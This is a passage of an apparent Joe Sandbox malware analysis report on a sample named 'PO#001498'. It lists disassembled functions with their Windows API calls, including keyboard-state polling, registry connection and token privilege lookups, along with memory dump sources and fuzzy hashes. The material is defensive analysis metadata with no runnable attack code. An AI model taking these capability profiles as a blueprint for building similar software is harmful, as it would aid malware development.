                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetKeyboardState.USER32(?,?,00000000), ref: 00453C0D
                                                                                                                                                                                                        • SetKeyboardState.USER32(?), ref: 00453C5A
                                                                                                                                                                                                        • GetAsyncKeyState.USER32(000000A0), ref: 00453C82
                                                                                                                                                                                                        • GetKeyState.USER32(000000A0), ref: 00453C99
                                                                                                                                                                                                        • GetAsyncKeyState.USER32(000000A1), ref: 00453CC9
                                                                                                                                                                                                        • GetKeyState.USER32(000000A1), ref: 00453CDA
                                                                                                                                                                                                        • GetAsyncKeyState.USER32(00000011), ref: 00453D07
                                                                                                                                                                                                        • GetKeyState.USER32(00000011), ref: 00453D15
                                                                                                                                                                                                        • GetAsyncKeyState.USER32(00000012), ref: 00453D3F
                                                                                                                                                                                                        • GetKeyState.USER32(00000012), ref: 00453D4D
                                                                                                                                                                                                        • GetAsyncKeyState.USER32(0000005B), ref: 00453D77
                                                                                                                                                                                                        • GetKeyState.USER32(0000005B), ref: 00453D85
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: State$Async$Keyboard
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 541375521-0
                                                                                                                                                                                                        • Opcode ID: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                                                                                                                                                                                                        • Instruction ID: 09d2c23b2f41f951af40c960ff4fa7a39ed3d74d48f5bb091813d5d41b5bf946
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 439544d7db57c6269f5a832870b7215b314e2d5ec2fc8731d7b6f8ebe45629c5
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BD5108311497C42AF731EF6048217A7BBE45F52782F488D5EE9C107283E619AB0C976B
                                                                                                                                                                                                        Function 00437DB1 Relevance: 18.2, APIs: 12, Instructions: 180COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetDlgItem.USER32(?,00000001), ref: 00437DD7
                                                                                                                                                                                                        • GetWindowRect.USER32(00000000,?), ref: 00437DE9
                                                                                                                                                                                                        • MoveWindow.USER32(00000000,0000000A,?,?,?,00000000), ref: 00437E5C
                                                                                                                                                                                                        • GetDlgItem.USER32(?,00000002), ref: 00437E70
                                                                                                                                                                                                        • GetWindowRect.USER32(00000000,?), ref: 00437E82
                                                                                                                                                                                                        • MoveWindow.USER32(00000000,?,00000000,?,?,00000000), ref: 00437EDB
                                                                                                                                                                                                        • GetDlgItem.USER32(?,000003E9), ref: 00437EEA
                                                                                                                                                                                                        • GetWindowRect.USER32(00000000,?), ref: 00437EFC
                                                                                                                                                                                                        • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 00437F46
                                                                                                                                                                                                        • GetDlgItem.USER32(?,000003EA), ref: 00437F55
                                                                                                                                                                                                        • MoveWindow.USER32(00000000,0000000A,0000000A,?,-000000FB,00000000), ref: 00437F6E
                                                                                                                                                                                                        • InvalidateRect.USER32(?,00000000,00000001), ref: 00437F78
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Window$ItemMoveRect$Invalidate
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3096461208-0
                                                                                                                                                                                                        • Opcode ID: 85b2574db82c4a067caaf632f6dab2f3668a9f7fdedc9eb4d1c33f4a9692aa02
                                                                                                                                                                                                        • Instruction ID: 6334a21bf5495bf578199e0a0c43900503e40640961724061e29feeedb49a886
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 85b2574db82c4a067caaf632f6dab2f3668a9f7fdedc9eb4d1c33f4a9692aa02
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 46511CB16083069FC318DF68DD85A2BB7E9ABC8300F144A2DF985D3391E6B4ED058B95
                                                                                                                                                                                                        Function 00436879 Relevance: 18.1, APIs: 12, Instructions: 115COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 136442275-0
                                                                                                                                                                                                        • Opcode ID: 8bb1124220d8f68122d0f1a8633f784f40ed2a0c71bdd1f95919e960fb23027d
                                                                                                                                                                                                        • Instruction ID: e47e2093bf76b35e8f1fec89578fc46911e8a4506192668d3a16ce6d5165f020
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 8bb1124220d8f68122d0f1a8633f784f40ed2a0c71bdd1f95919e960fb23027d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 744124B2408345ABC235E754C885EEF73ECABD8314F44891EB68D42141EB796688C7A7
                                                                                                                                                                                                        Function 0046B39A Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 401registryCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                        • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B479
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ConnectRegistry_wcslen
                                                                                                                                                                                                        • String ID: HH
                                                                                                                                                                                                        • API String ID: 535477410-2761332787
                                                                                                                                                                                                        • Opcode ID: cc03a81e182be6ba1e7ee8022fe76587c4fcfc5607386b983ff95d826003d501
                                                                                                                                                                                                        • Instruction ID: 7a368be733395892e28f24b11b3b05e85d853a2cd395d98498a1c99032eed9d9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: cc03a81e182be6ba1e7ee8022fe76587c4fcfc5607386b983ff95d826003d501
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 63E171B1604200ABC714EF28C981F1BB7E4EF88704F148A1EF685DB381D779E945CB9A
                                                                                                                                                                                                        Function 00460473 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 255COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetClassNameW.USER32(?,?,00000400), ref: 004604B5
                                                                                                                                                                                                        • GetWindowTextW.USER32(?,?,00000400), ref: 004604F1
                                                                                                                                                                                                        • _wcslen.LIBCMT ref: 00460502
                                                                                                                                                                                                        • CharUpperBuffW.USER32(?,00000000), ref: 00460510
                                                                                                                                                                                                        • GetClassNameW.USER32(?,?,00000400), ref: 00460589
                                                                                                                                                                                                        • GetWindowTextW.USER32(?,?,00000400), ref: 004605C2
                                                                                                                                                                                                        • GetClassNameW.USER32(?,?,00000400), ref: 00460606
                                                                                                                                                                                                        • GetClassNameW.USER32(?,?,00000400), ref: 0046063E
                                                                                                                                                                                                        • GetWindowRect.USER32(?,?), ref: 004606AD
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen
                                                                                                                                                                                                        • String ID: ThumbnailClass
                                                                                                                                                                                                        • API String ID: 4123061591-1241985126
                                                                                                                                                                                                        • Opcode ID: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
                                                                                                                                                                                                        • Instruction ID: b645ef8d54a60b7d8a856e9fdf4d8999e4c56e3b903fe9b51be5921097eabf2a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3F91B0715043019FDB14DF24C884BAB77A8EF84715F04896FFD85AA281E778E905CBAB
                                                                                                                                                                                                        Function 0046F50B Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 157windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00456354: GetCursorPos.USER32(004A83D8), ref: 0045636A
                                                                                                                                                                                                          • Part of subcall function 00456354: ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                                                                                                                                                                                          • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563D0
                                                                                                                                                                                                          • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563DC
                                                                                                                                                                                                        • DefDlgProcW.USER32(?,00000205,?,?,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F55F
                                                                                                                                                                                                        • ImageList_DragLeave.COMCTL32(00000000,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F57D
                                                                                                                                                                                                        • ImageList_EndDrag.COMCTL32 ref: 0046F583
                                                                                                                                                                                                        • ReleaseCapture.USER32 ref: 0046F589
                                                                                                                                                                                                        • SetWindowTextW.USER32(?,00000000), ref: 0046F620
                                                                                                                                                                                                        • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0046F630
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: AsyncDragImageList_State$CaptureClientCursorLeaveMessageProcReleaseScreenSendTextWindow
                                                                                                                                                                                                        • String ID: @GUI_DRAGFILE$@GUI_DROPID$HH
                                                                                                                                                                                                        • API String ID: 2483343779-2060113733
                                                                                                                                                                                                        • Opcode ID: 5127d0ffcd17cb1bef4f2f1971358f36b919fc832d8745dd5c7fc1032c5585dd
                                                                                                                                                                                                        • Instruction ID: 4b94e37398fb4c0e8bf176de98e3888209b69965db7f8e5b86c8cb252d1f017b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5127d0ffcd17cb1bef4f2f1971358f36b919fc832d8745dd5c7fc1032c5585dd
                                                                                                                                                                                                        • Instruction Fuzzy Hash: EB5106716043119BD700DF18DC85FAF77A5EB89310F04492EF941973A2DB789D49CBAA
                                                                                                                                                                                                        Function 0046FD7F Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 143windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 0046FD8A
                                                                                                                                                                                                        • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,004A83D8,?), ref: 0046FDF0
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001109,00000000,00000000), ref: 0046FE0E
                                                                                                                                                                                                        • ImageList_ReplaceIcon.COMCTL32(?,000000FF,?,004A83D8,?), ref: 0046FE20
                                                                                                                                                                                                        • SendMessageW.USER32(?,0000113E,00000000,?), ref: 0046FEA5
                                                                                                                                                                                                        • SendMessageW.USER32(?,0000113F,00000000,?), ref: 0046FEDF
                                                                                                                                                                                                        • GetClientRect.USER32(?,?), ref: 0046FEF2
                                                                                                                                                                                                        • RedrawWindow.USER32(?,?,00000000,00000000), ref: 0046FF02
                                                                                                                                                                                                        • DestroyIcon.USER32(?), ref: 0046FFCC
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: IconMessageSend$ImageList_$ClientCreateDestroyExtractRectRedrawReplaceWindow
                                                                                                                                                                                                        • String ID: 2
                                                                                                                                                                                                        • API String ID: 1331449709-450215437
                                                                                                                                                                                                        • Opcode ID: 0839cb131ab93339cce718f32a9fb856b385d6e902e652cc812f2dbbb554e4d7
                                                                                                                                                                                                        • Instruction ID: e79942d1a0196d9b5e30c5c178d8ccafd59c9ae1e7fac48b8759c586c5a3b44e
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 0839cb131ab93339cce718f32a9fb856b385d6e902e652cc812f2dbbb554e4d7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: EB51AC702043019FD320CF44D885BAABBE5FB88700F04487EE684872A2D7B5A849CB5A
                                                                                                                                                                                                        Function 00450E7D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • DestroyWindow.USER32(?,?,?,?,?,?,00000000,static,00000000,00000000,?,?,00000000,00000000,?,00000000), ref: 00450EE1
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DestroyWindow
                                                                                                                                                                                                        • String ID: static
                                                                                                                                                                                                        • API String ID: 3375834691-2160076837
                                                                                                                                                                                                        • Opcode ID: 88f11647011456fbb04f7235260bd1d02a964e72c1c4e3b3fb6640230c73d37f
                                                                                                                                                                                                        • Instruction ID: 4605c95b1b006c90d65e271c0fdf07f62d21d56273c2870bf7f2e3decf5281c5
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 88f11647011456fbb04f7235260bd1d02a964e72c1c4e3b3fb6640230c73d37f
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4531B572200300BBD7109B64DC45F6BB3A8EBC9711F204A2EFA50D72C0D7B4E8048B69
                                                                                                                                                                                                        Function 004393E2 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 109threadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetCurrentProcess.KERNEL32(00000008,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439409
                                                                                                                                                                                                        • OpenThreadToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 0043940C
                                                                                                                                                                                                        • GetCurrentProcess.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?), ref: 0043941D
                                                                                                                                                                                                        • OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 00439420
                                                                                                                                                                                                        • LookupPrivilegeValueW.ADVAPI32(00000000,SeAssignPrimaryTokenPrivilege,?), ref: 0043945B
                                                                                                                                                                                                        • LookupPrivilegeValueW.ADVAPI32(00000000,SeIncreaseQuotaPrivilege,?), ref: 00439474
                                                                                                                                                                                                        • _memcmp.LIBCMT ref: 004394A9
                                                                                                                                                                                                        • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004394F8
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        • SeAssignPrimaryTokenPrivilege, xrefs: 00439455
                                                                                                                                                                                                        • SeIncreaseQuotaPrivilege, xrefs: 0043946A
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Process$CurrentLookupOpenPrivilegeTokenValue$CloseHandleThread_memcmp
                                                                                                                                                                                                        • String ID: SeAssignPrimaryTokenPrivilege$SeIncreaseQuotaPrivilege
                                                                                                                                                                                                        • API String ID: 1446985595-805462909
                                                                                                                                                                                                        • Opcode ID: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                                                                                                                                                                                                        • Instruction ID: 628aaead06b6f58e004e5b45c2ed9710a22b4d2b921ab75b424857e8fd72c9d6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
                                                                                                                                                                                                        • Instruction Fuzzy Hash: DB31A371508312ABC710DF21CD41AAFB7E8FB99704F04591EF98193240E7B8DD4ACBAA
                                                                                                                                                                                                        Function 0045D83D Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 86COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SetErrorMode.KERNEL32(00000001), ref: 0045D848
                                                                                                                                                                                                        • GetDriveTypeW.KERNEL32(?,?), ref: 0045D8A3
                                                                                                                                                                                                        • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D94A
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ErrorMode$DriveType
                                                                                                                                                                                                        • String ID: CDROM$Fixed$Network$RAMDisk$Removable$Unknown$HH
                                                                                                                                                                                                        • API String ID: 2907320926-41864084
                                                                                                                                                                                                        • Opcode ID: f2537af69be7bdfb8cd077d5fba63d09357e4425d7c4eca9e5473fe3d57dd33a
                                                                                                                                                                                                        • Instruction ID: d4cab332979e247f8c2da9788294718902473fa09eb5ff996f03d25688ce9cbb
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f2537af69be7bdfb8cd077d5fba63d09357e4425d7c4eca9e5473fe3d57dd33a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C7318B75A083008FC310EF65E48481EB7A1AFC8315F648D2FF945A7362C779D9068BAB
                                                                                                                                                                                                        Function 00467214 Relevance: 16.8, APIs: 11, Instructions: 313COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 004672E6
                                                                                                                                                                                                        • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046735D
                                                                                                                                                                                                        • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467375
                                                                                                                                                                                                        • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004673ED
                                                                                                                                                                                                        • SafeArrayGetVartype.OLEAUT32(CE8B7824,?), ref: 00467418
                                                                                                                                                                                                        • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467445
                                                                                                                                                                                                        • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046746A
                                                                                                                                                                                                        • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 00467559
                                                                                                                                                                                                        • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 0046748A
                                                                                                                                                                                                          • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                                          • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                                          • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                                        • SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467571
                                                                                                                                                                                                        • SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004675E4
                                                                                                                                                                                                          • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ArraySafe$Data$AccessUnaccess$Exception@8ThrowVartype_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1932665248-0
                                                                                                                                                                                                        • Opcode ID: 2f069d425a14989955c91583bf1eee78d18cf75f4644af0e6fd4452b58d9bd04
                                                                                                                                                                                                        • Instruction ID: 42a0e90c8bf2b482c85e144861ec280134e9fb1dbd9e00a0d693b148f8e5f150
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 2f069d425a14989955c91583bf1eee78d18cf75f4644af0e6fd4452b58d9bd04
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E8B1BF752082009FD304DF29C884B6B77E5FF98318F14496EE98587362E779E885CB6B
